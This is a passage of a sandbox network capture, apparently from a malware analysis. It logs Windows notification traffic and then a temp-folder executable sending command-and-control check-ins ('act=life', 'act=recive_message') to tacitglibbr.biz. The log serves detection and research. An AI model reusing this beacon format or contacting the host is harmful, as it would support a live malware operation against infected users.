2024-12-16 14:01:21 UTC	16384	IN	Data Raw: 63 1a c1 08 8c 76 15 cf 68 1b 11 82 c6 00 c7 71 5b 71 ca 42 16 dd 40 d8 cd 46 6d f3 28 1f 75 6a 95 f3 e1 76 8e 94 f6 97 32 96 3e b5 56 f5 fe 62 41 a6 84 3b 45 bd 91 2e 64 10 0d ac 78 2d ed 4b 72 59 ae 4e e3 bc 83 90 4d 41 a2 b7 fa 49 27 6d 5a b8 21 66 21 78 63 cd 26 34 5e d2 00 2b b1 d3 2c 41 27 f0 ae 7e ee 76 b9 bc 96 5e b8 62 a3 3d 00 15 a5 35 c9 82 09 0e 7e 62 84 64 fa e2 b2 f4 7b 67 93 6a 1f bb cb 31 cf 06 81 97 34 9b 6d cd e7 cb 82 a3 a6 3a 66 af 6a 77 26 e5 bc b9 09 2a a0 01 cf 1c 54 70 ca af 32 c5 19 fd cc 7d 87 73 50 dc 15 0c c5 86 31 52 48 cb b2 85 40 28 30 29 6d c1 95 88 41 96 7c 2a 8f 7f 6a ac 24 12 c8 11 72 40 ae 9f e1 ad bc 1f db 4f a9 de 01 f6 4d 3a 16 91 b7 74 69 31 c2 d5 20 35 22 d4 61 f0 a3 5b 5b 5c 42 d2 c8 60 f3 08 5f be ad d8 1a ee 3e Data Ascii: cvhq[qB@Fm(ujv2>VbA;E.dx-KrYNMAI'mZ!f!xc&4^+,A'~v^b=5~bd{gj14m:fjw&Tp2}sP1RH@(0)mA\|j$r@OM:ti1 5"a[[\B`_>
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: 30 a0 0f 7a 62 13 68 a0 a5 48 01 a4 6e b5 45 10 48 95 1b 29 1d 2a c3 8f 9b 34 d6 4c d5 20 2b 3a fa 8a 8c 8e e6 ad 32 76 a8 99 33 5a 44 08 71 48 45 48 54 f4 a6 91 8a a4 17 19 8f 5a 6b 8f 96 a4 e9 48 47 e5 54 3b 95 a4 15 5a 64 ed 57 9d 73 c5 57 91 2a ae 23 3e 64 f5 5a af 22 13 d6 b4 66 4f 96 ab 48 94 d3 1d ca 12 25 41 22 67 f8 6a fc 89 9a 82 48 ea e2 3b 94 5e 3a af 34 64 f4 ad 06 4a 8e 48 b2 b5 a0 ee 63 cd 17 5a ab 3c 78 ad 79 e2 f9 4d 52 b8 4e d5 49 8e e6 5c 83 15 5a 60 0f 4e b5 a1 71 16 1b 03 a5 54 99 48 e6 ad 32 91 49 d3 0d 9a 8a 50 47 15 6a 41 55 a6 1f 31 a6 51 0b 54 52 9c 2e 0d 4a d8 ef 51 b8 06 aa e3 43 63 f4 1c d5 a8 4e 18 03 55 17 21 b1 db 35 3c 67 e6 06 86 86 5f 85 bd 2a e4 2d f2 f5 e2 b3 61 7c 28 ab 96 a4 9e 0d 30 35 2d db 2a 3d 2a f5 ab 61 b8 ef Data Ascii: 0zbhHnEH)4L +:2v3ZDqHEHTZkHGT;ZdWsW#>dZ"fOH%A"gjH;^:4dJHcZ<xyMRNI\Z`NqTH2IPGjAU1QTR.JQCcNU!5<g_-a\|(05-=*a

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49741	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:20 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 70 68 51 72 72 52 6c 49 75 6b 4b 4d 55 79 73 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 63 62 31 36 32 36 34 31 66 32 33 30 35 31 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: phQrrRlIukKMUysr.1Context: 2cb162641f23051a
2024-12-16 14:01:20 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:01:20 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 70 68 51 72 72 52 6c 49 75 6b 4b 4d 55 79 73 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 63 62 31 36 32 36 34 31 66 32 33 30 35 31 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: phQrrRlIukKMUysr.2Context: 2cb162641f23051a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:01:20 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 70 68 51 72 72 52 6c 49 75 6b 4b 4d 55 79 73 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 63 62 31 36 32 36 34 31 66 32 33 30 35 31 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: phQrrRlIukKMUysr.3Context: 2cb162641f23051a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:01:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:01:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6c 76 33 4b 74 73 70 5a 38 55 47 34 6d 32 35 6d 49 42 74 6f 70 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: lv3KtspZ8UG4m25mIBtopw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49782	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 37 75 5a 74 37 6c 44 49 45 47 6c 4a 34 4b 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 66 66 62 35 31 38 32 32 62 34 30 35 38 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: G7uZt7lDIEGlJ4Kd.1Context: 40ffb51822b40585
2024-12-16 14:01:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:01:34 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 37 75 5a 74 37 6c 44 49 45 47 6c 4a 34 4b 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 66 66 62 35 31 38 32 32 62 34 30 35 38 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: G7uZt7lDIEGlJ4Kd.2Context: 40ffb51822b40585<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:01:34 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 37 75 5a 74 37 6c 44 49 45 47 6c 4a 34 4b 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 66 66 62 35 31 38 32 32 62 34 30 35 38 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: G7uZt7lDIEGlJ4Kd.3Context: 40ffb51822b40585<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:01:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:01:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 6c 61 6d 79 30 35 6a 54 55 61 66 4d 46 6a 34 48 76 4c 72 50 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Clamy05jTUafMFj4HvLrPA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49823	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 77 4e 66 77 79 62 34 59 30 75 53 65 63 30 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 61 65 63 62 62 34 62 66 30 39 39 37 65 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fwNfwyb4Y0uSec0W.1Context: a9aecbb4bf0997e7
2024-12-16 14:01:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:01:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 77 4e 66 77 79 62 34 59 30 75 53 65 63 30 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 61 65 63 62 62 34 62 66 30 39 39 37 65 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: fwNfwyb4Y0uSec0W.2Context: a9aecbb4bf0997e7<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:01:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 77 4e 66 77 79 62 34 59 30 75 53 65 63 30 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 61 65 63 62 62 34 62 66 30 39 39 37 65 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: fwNfwyb4Y0uSec0W.3Context: a9aecbb4bf0997e7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:01:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:01:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 32 66 6e 38 69 49 65 74 6b 71 75 33 67 6f 75 73 76 39 43 4d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: c2fn8iIetkqu3gousv9CMg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49878	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 34 35 46 72 69 68 44 6b 30 4b 6c 38 4c 77 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 33 35 62 33 32 37 61 31 39 62 66 36 39 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: G45FrihDk0Kl8Lwq.1Context: 2935b327a19bf690
2024-12-16 14:02:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:02:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 34 35 46 72 69 68 44 6b 30 4b 6c 38 4c 77 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 33 35 62 33 32 37 61 31 39 62 66 36 39 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: G45FrihDk0Kl8Lwq.2Context: 2935b327a19bf690<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:02:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 34 35 46 72 69 68 44 6b 30 4b 6c 38 4c 77 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 33 35 62 33 32 37 61 31 39 62 66 36 39 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: G45FrihDk0Kl8Lwq.3Context: 2935b327a19bf690<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:02:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:02:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 62 2b 57 5a 55 61 4d 6b 55 43 6b 71 59 48 56 59 53 59 59 4b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /b+WZUaMkUCkqYHVYSYYKQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49887	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:02:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:02:18 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmb9lu3tb9t7fchtk9ebs1ge09; expires=Fri, 11-Apr-2025 07:48:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zZVM4iVetoRpaWFD2MoA5OVO11Ff%2F5wtYEJPqRS18MXVtPqRGMol3dn7BkL9EXW0xVcJhF4cwiXQsF16PGeu6wyA8gr7oYPwAKkdUc5RwTNjfgJt9DEsdZlB88fyErXLk0I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f35d5bf460c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=61561&min_rtt=11471&rtt_var=35073&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=254554&cwnd=153&unsent_bytes=0&cid=047354f8ac57f87d&ts=987&x=0"
2024-12-16 14:02:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:02:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49894	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:19 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:02:19 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
